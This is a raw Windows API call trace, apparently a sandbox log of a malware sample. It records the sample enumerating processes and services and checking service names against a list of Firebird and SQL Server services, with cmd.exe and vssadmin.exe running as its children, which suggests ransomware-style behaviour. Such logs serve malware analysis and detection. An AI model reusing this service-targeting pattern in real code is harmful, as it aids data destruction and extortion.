1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.338] lstrlenW (lpString="Spooler") returned 7 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.338] lstrlenW (lpString="SSDPSRV") returned 7 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0258.338] lstrlenW (lpString="StateRepository") returned 15 [0258.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0258.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0258.339] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0258.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0258.339] lstrlenW (lpString="SysMain") returned 7 [0258.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.339] lstrlenW (lpString="SystemEventsBroker") returned 18 [0258.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0258.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0258.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0258.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4207e50 | out: hHeap=0x670000) returned 1 [0258.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x450 [0258.345] Process32FirstW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.346] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.347] lstrlenW (lpString="System") returned 6 [0258.347] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.348] lstrlenW (lpString="smss.exe") returned 8 [0258.348] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.348] lstrlenW (lpString="csrss.exe") returned 9 [0258.348] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.349] lstrlenW (lpString="wininit.exe") returned 11 [0258.349] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.350] lstrlenW (lpString="csrss.exe") returned 9 [0258.350] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.350] lstrlenW (lpString="winlogon.exe") returned 12 [0258.351] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.351] lstrlenW (lpString="services.exe") returned 12 [0258.351] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.352] lstrlenW (lpString="lsass.exe") returned 9 [0258.352] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.352] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0258.353] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.353] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0258.353] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.354] lstrlenW (lpString="svchost.exe") returned 11 [0258.354] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.354] lstrlenW (lpString="svchost.exe") returned 11 [0258.355] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.355] lstrlenW (lpString="dwm.exe") returned 7 [0258.542] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.543] lstrlenW (lpString="svchost.exe") returned 11 [0258.543] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.543] lstrlenW (lpString="svchost.exe") returned 11 [0258.543] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.544] lstrlenW (lpString="svchost.exe") returned 11 [0258.544] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.545] lstrlenW (lpString="svchost.exe") returned 11 [0258.545] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.545] lstrlenW (lpString="svchost.exe") returned 11 [0258.545] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.546] lstrlenW (lpString="svchost.exe") returned 11 [0258.546] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.547] lstrlenW (lpString="svchost.exe") returned 11 [0258.547] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.547] lstrlenW (lpString="svchost.exe") returned 11 [0258.548] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.548] lstrlenW (lpString="svchost.exe") returned 11 [0258.548] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.549] lstrlenW (lpString="svchost.exe") returned 11 [0258.549] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.550] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.550] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.550] lstrlenW (lpString="svchost.exe") returned 11 [0258.550] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.551] lstrlenW (lpString="audiodg.exe") returned 11 [0258.551] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.552] lstrlenW (lpString="sihost.exe") returned 10 [0258.552] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.552] lstrlenW (lpString="svchost.exe") returned 11 [0258.552] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.553] lstrlenW (lpString="taskhostw.exe") returned 13 [0258.553] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0258.554] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0258.554] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0258.554] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0258.554] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0258.801] lstrlenW (lpString="Memory Compression") returned 18 [0258.801] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.801] lstrlenW (lpString="explorer.exe") returned 12 [0258.801] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.802] lstrlenW (lpString="SearchUI.exe") returned 12 [0258.802] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.802] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0258.802] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.805] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0258.805] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.806] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0258.806] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0258.806] lstrlenW (lpString="finbbp.exe") returned 10 [0258.807] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.807] lstrlenW (lpString="cmd.exe") returned 7 [0258.807] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.808] lstrlenW (lpString="conhost.exe") returned 11 [0258.808] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0258.808] lstrlenW (lpString="vssadmin.exe") returned 12 [0258.808] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0258.809] lstrlenW (lpString="consent.exe") returned 11 [0258.809] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.809] lstrlenW (lpString="svchost.exe") returned 11 [0258.809] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0258.810] CloseHandle (hObject=0x450) returned 1 [0258.810] Sleep (dwMilliseconds=0x1f4) [0259.615] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0259.616] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0259.617] GetLastError () returned 0xea [0259.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x4255dc0 [0259.618] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4255dc0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4255dc0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0259.619] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0259.619] lstrlenW (lpString="Appinfo") returned 7 [0259.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0259.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0259.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0259.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0259.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0259.620] lstrlenW (lpString="AppXSvc") returned 7 [0259.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0259.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0259.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0259.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0259.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0259.620] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.620] lstrlenW (lpString="Audiosrv") returned 8 [0259.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0259.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0259.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0259.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0259.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0259.621] lstrlenW (lpString="BFE") returned 3 [0259.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.621] lstrlenW (lpString="BITS") returned 4 [0259.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0259.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0259.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0259.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0259.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0259.621] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0259.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0259.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0259.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0259.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0259.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0259.621] lstrlenW (lpString="CDPSvc") returned 6 [0259.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0259.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0259.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0259.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0259.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0259.622] lstrlenW (lpString="ClickToRunSvc") returned 13 [0259.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0259.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0259.622] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0259.622] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0259.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0259.622] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0259.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0259.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0259.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0259.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0259.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0259.622] lstrlenW (lpString="CryptSvc") returned 8 [0259.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.622] lstrlenW (lpString="DcomLaunch") returned 10 [0259.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.623] lstrlenW (lpString="DeviceAssociationService") returned 24 [0259.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0259.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0259.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 